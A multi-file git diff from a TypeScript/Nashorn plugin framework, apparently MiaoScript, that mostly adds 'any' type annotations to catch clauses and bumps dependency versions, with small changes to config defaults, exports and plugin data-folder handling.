console.debug(`[${plugin.description.name}] Load Config ${metadata.variable} from file ${metadata.file} =>\n${JSON.stringify(configValue, undefined, 4).substr(0, 500)}`)
} }
this.defienConfigProp(plugin, metadata, configValue) this.defienConfigProp(plugin, metadata, configValue)
} catch (error) { } catch (error: any) {
console.i18n("ms.plugin.manager.config.load.error", { plugin: plugin.description.name, name: metadata.name, format: metadata.format, error }) console.i18n("ms.plugin.manager.config.load.error", { plugin: plugin.description.name, name: metadata.name, format: metadata.format, error })
console.ex(error) console.ex(error)
} }
@ -111,8 +113,8 @@ export class PluginConfigManager {
if (!Object.prototype.hasOwnProperty.call(configValue, key)) { if (!Object.prototype.hasOwnProperty.call(configValue, key)) {
configValue[key] = defaultValue[key] configValue[key] = defaultValue[key]
needSave = true needSave = true
} else if (Object.prototype.toString.call(configValue[key]) == "[object Object]") { } else if (Object.prototype.toString.call(configValue[key]) == "[object Object]" && !Object.prototype.hasOwnProperty.call(defaultValue[key], '____ignore____')) {
// 对象需要递归检测 // 对象需要递归检测 如果对象内存在 ____ignore____ 那就忽略设置
needSave ||= this.setDefaultValue(configValue[key], defaultValue[key]) needSave ||= this.setDefaultValue(configValue[key], defaultValue[key])
} }
} }
@ -126,7 +128,7 @@ export class PluginConfigManager {
base.save(metadata.file, result) base.save(metadata.file, result)
console.debug(`[${plugin.description.name}] Save Config ${metadata.variable} to file ${metadata.file} =>\n${result.substr(0, 500)}`) console.debug(`[${plugin.description.name}] Save Config ${metadata.variable} to file ${metadata.file} =>\n${result.substr(0, 500)}`)
return true return true
} catch (error) { } catch (error: any) {
console.i18n("ms.plugin.manager.config.save.error", { plugin: plugin.description.name, name: metadata.name, format: metadata.format, error }) console.i18n("ms.plugin.manager.config.save.error", { plugin: plugin.description.name, name: metadata.name, format: metadata.format, error })
console.ex(error) console.ex(error)
return false return false

View File

@ -2,12 +2,11 @@ import './scanner/file-scanner'
import './loader/ioc-loader' import './loader/ioc-loader'
import './loader/basic-loader' import './loader/basic-loader'
export * from './config'
export * from './manager' export * from './manager'
export * from './decorators' export * from './decorators'
export * from './interfaces' export * from './interfaces'
export { PluginConfig } from './config'
export { export {
plugin as JSPlugin, plugin as JSPlugin,
cmd as Cmd, cmd as Cmd,

View File

@ -2,6 +2,8 @@ import { server, MiaoScriptConsole, event, plugin } from "@ccms/api"
import { injectable, inject, postConstruct } from "@ccms/container" import { injectable, inject, postConstruct } from "@ccms/container"
import { getPluginMetadata } from "./utils" import { getPluginMetadata } from "./utils"
const File = Java.type('java.io.File')
export namespace interfaces { export namespace interfaces {
@injectable() @injectable()
export abstract class Plugin implements plugin.Plugin { export abstract class Plugin implements plugin.Plugin {
@ -20,6 +22,12 @@ export namespace interfaces {
this.logger = new this.Console(this.description.prefix || this.description.name) this.logger = new this.Console(this.description.prefix || this.description.name)
} }
public getDataFolder() {
let parent = new File(this.description.source).parent
let dataFolder = new File(parent, this.description.name)
return dataFolder.getAbsolutePath()
}
public load() { } public load() { }
public enable() { } public enable() { }
public disable() { } public disable() { }

View File

@ -38,7 +38,7 @@ export class IocLoader implements plugin.PluginLoader {
console.i18n('ms.plugin.manager.build.not.extends', { source: metadata.source }) console.i18n('ms.plugin.manager.build.not.extends', { source: metadata.source })
return return
} }
} catch (ex) { } catch (ex: any) {
console.i18n("ms.plugin.manager.initialize.error", { name: metadata.name, ex }) console.i18n("ms.plugin.manager.initialize.error", { name: metadata.name, ex })
console.ex(ex) console.ex(ex)
} }
@ -81,10 +81,10 @@ export class IocLoader implements plugin.PluginLoader {
console.i18n("ms.plugin.manager.stage.exec", { plugin: pluginInstance.description.name, name: stage.executor, stage: stageName, servers: stage.servers }) console.i18n("ms.plugin.manager.stage.exec", { plugin: pluginInstance.description.name, name: stage.executor, stage: stageName, servers: stage.servers })
try { try {
pluginInstance[stage.executor].apply(pluginInstance) pluginInstance[stage.executor].apply(pluginInstance)
} catch (error) { } catch (error: any) {
console.i18n("ms.plugin.manager.stage.exec.error", { plugin: pluginInstance.description.name, executor: stage.executor, error }) console.i18n("ms.plugin.manager.stage.exec.error", { plugin: pluginInstance.description.name, executor: stage.executor, error })
console.ex(error) console.ex(error)
} }
} }
} }
} }

View File

@ -92,12 +92,12 @@ export class PluginManagerImpl implements plugin.PluginManager {
plugins.forEach(loadMetadata => { plugins.forEach(loadMetadata => {
try { try {
this.loadAndRequirePlugin(loadMetadata) this.loadAndRequirePlugin(loadMetadata)
} catch (error) { } catch (error: any) {
console.error(`plugin scanner ${scanner.type} load ${loadMetadata.file} occurred error ${error}`) console.error(`plugin scanner ${scanner.type} load ${loadMetadata.file} occurred error ${error}`)
console.ex(error) console.ex(error)
} }
}) })
} catch (error) { } catch (error: any) {
console.error(`plugin scanner ${scanner.type} occurred error ${error}`) console.error(`plugin scanner ${scanner.type} occurred error ${error}`)
console.ex(error) console.ex(error)
} }
@ -123,7 +123,7 @@ export class PluginManagerImpl implements plugin.PluginManager {
this.runCatch(plugin, `${this.serverType}${stage}`) this.runCatch(plugin, `${this.serverType}${stage}`)
plugin.description.loadMetadata.loader[stage]?.(plugin) plugin.description.loadMetadata.loader[stage]?.(plugin)
process.emit(`plugin.after.${stage}`, plugin) process.emit(`plugin.after.${stage}`, plugin)
} catch (ex) { } catch (ex: any) {
console.i18n("ms.plugin.manager.stage.exec.error", { plugin: plugin.description.name, executor: stage, error: ex }) console.i18n("ms.plugin.manager.stage.exec.error", { plugin: plugin.description.name, executor: stage, error: ex })
if (global.debug) { console.ex(ex) } if (global.debug) { console.ex(ex) }
} }
@ -136,7 +136,7 @@ export class PluginManagerImpl implements plugin.PluginManager {
for (const [, loader] of this.loaderMap) { for (const [, loader] of this.loaderMap) {
if (this.loaderRequirePlugin(loadMetadata, loader)?.loaded) return loadMetadata.metadata if (this.loaderRequirePlugin(loadMetadata, loader)?.loaded) return loadMetadata.metadata
} }
} catch (error) { } catch (error: any) {
console.i18n("ms.plugin.manager.initialize.error", { name: loadMetadata.file, ex: error }) console.i18n("ms.plugin.manager.initialize.error", { name: loadMetadata.file, ex: error })
console.ex(error) console.ex(error)
} }
@ -156,7 +156,7 @@ export class PluginManagerImpl implements plugin.PluginManager {
metadata.loadMetadata = loadMetadata metadata.loadMetadata = loadMetadata
} }
return loadMetadata return loadMetadata
} catch (error) { } catch (error: any) {
if (global.debug) { if (global.debug) {
console.console(`§6Loader §b${loader.type} §6load §a${loadMetadata.file} §cerror. §4Err: §c${error}`) console.console(`§6Loader §b${loader.type} §6load §a${loadMetadata.file} §cerror. §4Err: §c${error}`)
console.ex(error) console.ex(error)
@ -228,7 +228,7 @@ export class PluginManagerImpl implements plugin.PluginManager {
private runCatch(pl: any, func: string) { private runCatch(pl: any, func: string) {
try { try {
if (pl[func]) pl[func].call(pl) if (pl[func]) pl[func].call(pl)
} catch (ex) { } catch (ex: any) {
console.i18n("ms.plugin.manager.stage.exec.error", { plugin: pl.description.name, executor: func, error: ex }) console.i18n("ms.plugin.manager.stage.exec.error", { plugin: pl.description.name, executor: func, error: ex })
console.ex(ex) console.ex(ex)
} }
@ -279,7 +279,7 @@ export class PluginManagerImpl implements plugin.PluginManager {
if (!pluginInstance) { throw new Error(`§4加载器 §c${metadata.type} §4加载插件 §c${metadata.name} §4失败!`) } if (!pluginInstance) { throw new Error(`§4加载器 §c${metadata.type} §4加载插件 §c${metadata.name} §4失败!`) }
this.instanceMap.set(metadata.name, pluginInstance) this.instanceMap.set(metadata.name, pluginInstance)
return pluginInstance return pluginInstance
} catch (error) { } catch (error: any) {
console.console(`§4无法加载插件 §b${metadata.name} §4构建插件失败!`) console.console(`§4无法加载插件 §b${metadata.name} §4构建插件失败!`)
console.ex(error) console.ex(error)
} }

View File

@ -16,12 +16,12 @@
"dependencies": { "dependencies": {
"@ccms/i18n": "^0.17.0", "@ccms/i18n": "^0.17.0",
"@ccms/nodejs": "^0.17.0", "@ccms/nodejs": "^0.17.0",
"core-js": "^3.16.0" "core-js": "^3.19.3"
}, },
"devDependencies": { "devDependencies": {
"@ccms/nashorn": "^0.17.0", "@ccms/nashorn": "^0.17.0",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
} }
} }

View File

@ -39,10 +39,10 @@ class Process extends EventEmitter {
return super.on(event, (...args) => { return super.on(event, (...args) => {
try { try {
listener(...args) listener(...args)
} catch (origin) { } catch (origin: any) {
try { try {
super.emit('error', origin) super.emit('error', origin)
} catch (error) { } catch (error: any) {
console.ex(origin) console.ex(origin)
console.ex(error) console.ex(error)
} }
@ -53,10 +53,10 @@ class Process extends EventEmitter {
microTaskPool.execute(() => { microTaskPool.execute(() => {
try { try {
func(args) func(args)
} catch (origin) { } catch (origin: any) {
try { try {
super.emit('error', origin) super.emit('error', origin)
} catch (error) { } catch (error: any) {
console.ex(origin) console.ex(origin)
console.ex(error) console.ex(error)
} }
@ -96,16 +96,16 @@ class EventLoop {
task = this.eventLoopTaskQueue.take() task = this.eventLoopTaskQueue.take()
try { try {
task.getTask()() task.getTask()()
} catch (cause) { } catch (cause: any) {
try { try {
process.emit('error', cause) process.emit('error', cause)
} catch (error) { } catch (error: any) {
console.error(cause) console.error(cause)
console.ex(cause) console.ex(cause)
} }
} }
} }
} catch (error) { } catch (error: any) {
console.log(`EventLoop Thread isInterrupted exit! remainTask: ${this.eventLoopTaskQueue.size()}`) console.log(`EventLoop Thread isInterrupted exit! remainTask: ${this.eventLoopTaskQueue.size()}`)
this.eventLoopTaskQueue.clear() this.eventLoopTaskQueue.clear()
this.eventLoopTaskQueue = undefined this.eventLoopTaskQueue = undefined
@ -143,18 +143,18 @@ class EventLoop {
call: () => { call: () => {
try { try {
callback.apply(undefined, args) callback.apply(undefined, args)
} catch (cause) { } catch (cause: any) {
cause = cause.getCause && cause.getCause() || cause cause = cause.getCause && cause.getCause() || cause
try { try {
process.emit('error', cause) process.emit('error', cause)
} catch (error) { } catch (error: any) {
console.error(cause) console.error(cause)
console.ex(cause) console.ex(cause)
} }
} }
} }
})).get(this.taskExecTimeout, TimeUnit.SECONDS) })).get(this.taskExecTimeout, TimeUnit.SECONDS)
} catch (error) { } catch (error: any) {
if (error instanceof InterruptedException) { if (error instanceof InterruptedException) {
return console.warn(`FixedThreadPool isInterrupted exit! Task ${name} exec exit!`) return console.warn(`FixedThreadPool isInterrupted exit! Task ${name} exec exit!`)
} }

View File

@ -2,6 +2,6 @@
try { try {
Java.type('org.openjdk.nashorn.api.scripting.NashornScriptEngine') Java.type('org.openjdk.nashorn.api.scripting.NashornScriptEngine')
Object.setPrototypeOf = ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b }) Object.setPrototypeOf = ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b })
} catch (error) { } catch (error: any) {
} }
export { } export { }

View File

@ -226,7 +226,7 @@ export class XMLHttpRequest {
} }
this.setResponseHeaders(this._connection.getHeaderFields()) this.setResponseHeaders(this._connection.getHeaderFields())
this.onloadend && this.onloadend() this.onloadend && this.onloadend()
} catch (ex) { } catch (ex: any) {
if (ex instanceof SocketTimeoutException && this.ontimeout) { if (ex instanceof SocketTimeoutException && this.ontimeout) {
return this.ontimeout(ex) return this.ontimeout(ex)
} else if (this.onerror) { } else if (this.onerror) {

View File

@ -22,6 +22,6 @@
"devDependencies": { "devDependencies": {
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
} }
} }

View File

@ -22,7 +22,7 @@
"@javatypes/sponge-api": "^0.0.3", "@javatypes/sponge-api": "^0.0.3",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"@ccms/api": "^0.17.0", "@ccms/api": "^0.17.0",

View File

@ -21,7 +21,7 @@
"devDependencies": { "devDependencies": {
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"@ccms/api": "^0.17.0", "@ccms/api": "^0.17.0",

View File

@ -15,7 +15,7 @@ export default function SpringImpl(container: Container) {
require('@ccms/amqp') require('@ccms/amqp')
require('@ccms/database') require('@ccms/database')
require('./internal/scanner/mysql-scanner') require('./internal/scanner/mysql-scanner')
} catch (error) { } catch (error: any) {
console.ex(error) console.ex(error)
} }
const beanFactory = base.getInstance().getAutowireCapableBeanFactory() const beanFactory = base.getInstance().getAutowireCapableBeanFactory()

View File

@ -36,7 +36,7 @@ export class CommandMap {
if (exists) { if (exists) {
try { try {
return exists.executor(sender, '', command, Java.to(args)) return exists.executor(sender, '', command, Java.to(args))
} catch (error) { } catch (error: any) {
console.ex(error) console.ex(error)
} }
return true return true
@ -54,7 +54,7 @@ export class CommandMap {
try { try {
if (args.length !== index) { args.push('') } if (args.length !== index) { args.push('') }
return exists.tabCompleter(sender, '', command, Java.to(args)) return exists.tabCompleter(sender, '', command, Java.to(args))
} catch (error) { } catch (error: any) {
console.ex(error) console.ex(error)
} }
} }
@ -76,4 +76,4 @@ export class SpringCommand {
setExecutor = (executor: CommandExec) => this.executor = executor setExecutor = (executor: CommandExec) => this.executor = executor
setTabCompleter = (tabCompleter: TabCompleter) => this.tabCompleter = tabCompleter setTabCompleter = (tabCompleter: TabCompleter) => this.tabCompleter = tabCompleter
toString = () => `SpringCommand(${this.name})` toString = () => `SpringCommand(${this.name})`
} }

View File

@ -58,22 +58,22 @@ export class SpringTask extends task.Task {
if (this.laterTime > 0) { if (this.laterTime > 0) {
try { try {
Thread.sleep(this.laterTime) Thread.sleep(this.laterTime)
} catch (ex) { } catch (ex: any) {
Thread.currentThread().interrupt() Thread.currentThread().interrupt()
} }
} }
while (this.running.get()) { while (this.running.get()) {
try { try {
this.func(...args) this.func(...args)
} catch (t) { } catch (ex: any) {
console.error("Task exec error:", t) console.error("Task exec error:", ex)
console.ex(t) console.ex(ex)
} }
// If we have a interval of 0 or less, only run once // If we have a interval of 0 or less, only run once
if (this.interval <= 0) { break } if (this.interval <= 0) { break }
try { try {
Thread.sleep(this.interval) Thread.sleep(this.interval)
} catch (ex) { } catch (ex: any) {
Thread.currentThread().interrupt() Thread.currentThread().interrupt()
} }
} }

View File

@ -26,7 +26,7 @@
"@javatypes/tomcat": "^0.0.3", "@javatypes/tomcat": "^0.0.3",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"@ccms/api": "^0.17.0", "@ccms/api": "^0.17.0",

View File

@ -51,7 +51,7 @@ export class Server {
try { try {
this.beanFactory.destroySingleton(FilterProxyBeanName) this.beanFactory.destroySingleton(FilterProxyBeanName)
this.beanFactory.destroySingleton(WebProxyBeanName) this.beanFactory.destroySingleton(WebProxyBeanName)
} catch (error) { } catch (error: any) {
console.ex(error) console.ex(error)
} }
} }
@ -160,7 +160,7 @@ export class Server {
} }
private registryFilterProxy() { private registryFilterProxy() {
try { this.beanFactory.destroySingleton(FilterProxyBeanName) } catch (ex) { } try { this.beanFactory.destroySingleton(FilterProxyBeanName) } catch (ex: any) { }
var WebFilterProxyNashorn = Java.extend(this.WebFilterProxy, { var WebFilterProxyNashorn = Java.extend(this.WebFilterProxy, {
doFilter: (servletRequest: javax.servlet.http.HttpServletRequest, servletResponse: javax.servlet.http.HttpServletResponse, filterChain: javax.servlet.FilterChain) => { doFilter: (servletRequest: javax.servlet.http.HttpServletRequest, servletResponse: javax.servlet.http.HttpServletResponse, filterChain: javax.servlet.FilterChain) => {
filterChain.doFilter(servletRequest, servletResponse) filterChain.doFilter(servletRequest, servletResponse)
@ -206,7 +206,7 @@ export class Server {
} }
private registryWebProxy() { private registryWebProxy() {
try { this.beanFactory.destroySingleton(WebProxyBeanName) } catch (ex) { } try { this.beanFactory.destroySingleton(WebProxyBeanName) } catch (ex: any) { }
var WebServerProxyNashorn = Java.extend(this.WebServerProxy, { var WebServerProxyNashorn = Java.extend(this.WebServerProxy, {
process: (req: javax.servlet.http.HttpServletRequest, resp: javax.servlet.http.HttpServletResponse) => { process: (req: javax.servlet.http.HttpServletRequest, resp: javax.servlet.http.HttpServletResponse) => {
let ctx: Context = { request: req, response: resp, params: {}, body: {} } let ctx: Context = { request: req, response: resp, params: {}, body: {} }
@ -226,7 +226,7 @@ export class Server {
if ((ctx.headers['Content-Type'] || '').includes('application/json')) { if ((ctx.headers['Content-Type'] || '').includes('application/json')) {
try { try {
ctx.body = JSON.parse(ctx.body) ctx.body = JSON.parse(ctx.body)
} catch (error) { } catch (error: any) {
return { return {
status: 500, status: 500,
msg: `parse json body error: ${error}`, msg: `parse json body error: ${error}`,
@ -258,7 +258,7 @@ export class Server {
console.debug(`[WARN] Interceptor ${interceptor.name} preHandle cost time ${preHandleTime}ms!`) console.debug(`[WARN] Interceptor ${interceptor.name} preHandle cost time ${preHandleTime}ms!`)
} }
if (ctx.result) { return ctx.result } if (ctx.result) { return ctx.result }
} catch (error) { } catch (error: any) {
console.ex(error) console.ex(error)
return { return {
status: 500, status: 500,
@ -284,7 +284,7 @@ export class Server {
if (preHandleTime > 20) { if (preHandleTime > 20) {
console.debug(`[WARN] Interceptor ${interceptor.name} preHandle cost time ${preHandleTime}ms!`) console.debug(`[WARN] Interceptor ${interceptor.name} preHandle cost time ${preHandleTime}ms!`)
} }
} catch (error) { } catch (error: any) {
return { return {
status: 500, status: 500,
msg: `Interceptor ${interceptor.name} postHandle error: ${error}`, msg: `Interceptor ${interceptor.name} postHandle error: ${error}`,
@ -310,7 +310,7 @@ Handle Time : ${Date.now() - startTime}ms
if (!ctx.handler) return this.notFound(ctx) if (!ctx.handler) return this.notFound(ctx)
try { try {
return ctx.handler(ctx) return ctx.handler(ctx)
} catch (error) { } catch (error: any) {
return { return {
status: 500, status: 500,
msg: '' + error, msg: '' + error,

View File

@ -27,6 +27,6 @@
"@javatypes/tomcat-websocket-api": "^0.0.3", "@javatypes/tomcat-websocket-api": "^0.0.3",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
} }
} }

View File

@ -47,7 +47,7 @@ export class WebSocket extends EventEmitter {
let TransportImpl = require('./netty').NettyWebSocket let TransportImpl = require('./netty').NettyWebSocket
this.client = new TransportImpl(url, subProtocol, headers) this.client = new TransportImpl(url, subProtocol, headers)
console.debug('create websocket from ' + this.client.constructor.name) console.debug('create websocket from ' + this.client.constructor.name)
} catch (error) { } catch (error: any) {
console.error('create websocket impl error: ' + error) console.error('create websocket impl error: ' + error)
console.ex(error) console.ex(error)
return return

View File

@ -31,7 +31,7 @@ var SslHandler: any
try { try {
SslContextBuilder = Java.type('io.netty.handler.ssl.SslContextBuilder') SslContextBuilder = Java.type('io.netty.handler.ssl.SslContextBuilder')
InsecureTrustManagerFactory = Java.type('io.netty.handler.ssl.util.InsecureTrustManagerFactory') InsecureTrustManagerFactory = Java.type('io.netty.handler.ssl.util.InsecureTrustManagerFactory')
} catch (error) { } catch (error: any) {
SSLContext = Java.type('javax.net.ssl.SSLContext') SSLContext = Java.type('javax.net.ssl.SSLContext')
SslHandler = Java.type('io.netty.handler.ssl.SslHandler') SslHandler = Java.type('io.netty.handler.ssl.SslHandler')
} }
@ -45,7 +45,7 @@ try {
const EpollSocketChannel = Java.type('io.netty.channel.epoll.EpollSocketChannel') const EpollSocketChannel = Java.type('io.netty.channel.epoll.EpollSocketChannel')
group = epull ? new EpollEventLoopGroup() : new NioEventLoopGroup() group = epull ? new EpollEventLoopGroup() : new NioEventLoopGroup()
socketChannelClass = epull ? EpollSocketChannel.class : NioSocketChannel.class socketChannelClass = epull ? EpollSocketChannel.class : NioSocketChannel.class
} catch (error) { } catch (error: any) {
group = new NioEventLoopGroup() group = new NioEventLoopGroup()
socketChannelClass = NioSocketChannel.class socketChannelClass = NioSocketChannel.class
} }
@ -130,7 +130,7 @@ export class NettyWebSocket extends Transport {
future.sync() future.sync()
// only trigger onconnect when not have error // only trigger onconnect when not have error
this.onconnect({}) this.onconnect({})
} catch (error) { } catch (error: any) {
// ignore error exceptionCaught from handler // ignore error exceptionCaught from handler
// this.onerror({ error }) // this.onerror({ error })
} }

View File

@ -35,7 +35,7 @@ export abstract class Transport extends EventEmitter {
console.debug(`client Transport connect`) console.debug(`client Transport connect`)
try { try {
this.doConnect() this.doConnect()
} catch (error) { } catch (error: any) {
console.ex(error) console.ex(error)
this.onerror({ error }) this.onerror({ error })
} }
@ -44,7 +44,7 @@ export abstract class Transport extends EventEmitter {
send(text: string) { send(text: string) {
try { try {
this.doSend(text) this.doSend(text)
} catch (error) { } catch (error: any) {
this.onerror({ error }) this.onerror({ error })
} }
} }
@ -55,7 +55,7 @@ export abstract class Transport extends EventEmitter {
try { try {
this.onclose({ code, reason }) this.onclose({ code, reason })
this.doClose(code, reason) this.doClose(code, reason)
} catch (error) { } catch (error: any) {
this.onerror({ error }) this.onerror({ error })
} finally { } finally {
this.removeAllListeners() this.removeAllListeners()

View File

@ -191,8 +191,8 @@ export class Socket extends Emitter {
// Retry with the next transport if the transport is disabled (jsonp: false) // Retry with the next transport if the transport is disabled (jsonp: false)
try { try {
transport = this.createTransport(transport) transport = this.createTransport(transport)
} catch (e) { } catch (error: any) {
debug("error while creating transport: %s", e) debug("error while creating transport: %s", error)
this.transports.shift() this.transports.shift()
this.open() this.open()
return return

View File

@ -160,7 +160,7 @@ export class WS extends Transport {
} else { } else {
this.ws.send(data, opts) this.ws.send(data, opts)
} }
} catch (e) { } catch (error: any) {
debug("websocket closed before onclose event") debug("websocket closed before onclose event")
} }

View File

@ -326,7 +326,7 @@ export class Server extends EventEmitter {
let id let id
try { try {
id = this.generateId(req) id = this.generateId(req)
} catch (e) { } catch (error: any) {
console.debug("error while generating an id") console.debug("error while generating an id")
this.emit("connection_error", { this.emit("connection_error", {
req, req,
@ -334,7 +334,7 @@ export class Server extends EventEmitter {
message: Server.errorMessages[Server.errors.BAD_REQUEST], message: Server.errorMessages[Server.errors.BAD_REQUEST],
context: { context: {
name: "ID_GENERATION_ERROR", name: "ID_GENERATION_ERROR",
error: e error
} }
}) })
closeConnection(Server.errors.BAD_REQUEST) closeConnection(Server.errors.BAD_REQUEST)
@ -360,7 +360,7 @@ export class Server extends EventEmitter {
} else { } else {
transport.supportsBinary = true transport.supportsBinary = true
} }
} catch (e) { } catch (e: any) {
console.ex(e) console.ex(e)
this.emit("connection_error", { this.emit("connection_error", {
req, req,

View File

@ -15,7 +15,7 @@ export class NettyClient extends WebSocketClient {
try { try {
this.channel.writeAndFlush(new TextWebSocketFrame(text)) this.channel.writeAndFlush(new TextWebSocketFrame(text))
callback?.() callback?.()
} catch (error) { } catch (error: any) {
callback?.(error) callback?.(error)
} }
} }

View File

@ -7,7 +7,7 @@ export enum Keys {
} }
let RequestAttributeKey: any let RequestAttributeKey: any
try { RequestAttributeKey = AttributeKey.valueOf('request') } catch (error) { } try { RequestAttributeKey = AttributeKey.valueOf('request') } catch (error: any) { }
export enum AttributeKeys { export enum AttributeKeys {
Request = RequestAttributeKey Request = RequestAttributeKey
} }

View File

@ -15,7 +15,7 @@ class NettyWebSocketServer extends WebSocketServer {
protected initialize() { protected initialize() {
let connectEvent = this.options.event let connectEvent = this.options.event
try { this.instance.remove(Keys.Detect) } catch (error) { } try { this.instance.remove(Keys.Detect) } catch (error: any) { }
this.instance.addFirst(Keys.Detect, new WebSocketDetect(connectEvent).getHandler()) this.instance.addFirst(Keys.Detect, new WebSocketDetect(connectEvent).getHandler())
connectEvent.on(ServerEvent.detect, (ctx, channel) => { connectEvent.on(ServerEvent.detect, (ctx, channel) => {
channel.pipeline().addFirst(Keys.Handler, new WebSocketHandler(this.options).getHandler()) channel.pipeline().addFirst(Keys.Handler, new WebSocketHandler(this.options).getHandler())
@ -38,7 +38,7 @@ class NettyWebSocketServer extends WebSocketServer {
protected getId(ctx: any) { protected getId(ctx: any) {
try { try {
return ctx.channel().id() + '' return ctx.channel().id() + ''
} catch (error) { } catch (error: any) {
console.log(Object.toString.apply(ctx)) console.log(Object.toString.apply(ctx))
console.ex(error) console.ex(error)
} }

View File

@ -13,7 +13,7 @@ export class TomcatClient extends WebSocketClient {
try { try {
this.session.getBasicRemote().sendText(text) this.session.getBasicRemote().sendText(text)
callback?.() callback?.()
} catch (error) { } catch (error: any) {
callback?.(error) callback?.(error)
} }
}, this.session)() }, this.session)()

View File

@ -17,7 +17,7 @@ class TomcatWebSocketServer extends WebSocketServer {
protected initialize(): void { protected initialize(): void {
this.initThreadPool() this.initThreadPool()
try { this.instance.destroySingleton(ProxyBeanName) } catch (error) { } try { this.instance.destroySingleton(ProxyBeanName) } catch (error: any) { }
let NashornWebSocketServerProxy = Java.extend(Java.type("pw.yumc.MiaoScript.websocket.WebSocketProxy"), { let NashornWebSocketServerProxy = Java.extend(Java.type("pw.yumc.MiaoScript.websocket.WebSocketProxy"), {
onOpen: (session: TomcatWebSocketSession) => { onOpen: (session: TomcatWebSocketSession) => {
this.onconnect(session) this.onconnect(session)

View File

@ -265,7 +265,7 @@ export class Decoder extends EventEmitter {
function tryParse(str) { function tryParse(str) {
try { try {
return JSON.parse(str) return JSON.parse(str)
} catch (e) { } catch (error: any) {
return false return false
} }
} }

View File

@ -248,8 +248,8 @@ export class Client<
// try/catch is needed for protocol violations (GH-1880) // try/catch is needed for protocol violations (GH-1880)
try { try {
this.decoder.add(data) this.decoder.add(data)
} catch (e) { } catch (error: any) {
this.onerror(e) this.onerror(error)
} }
} }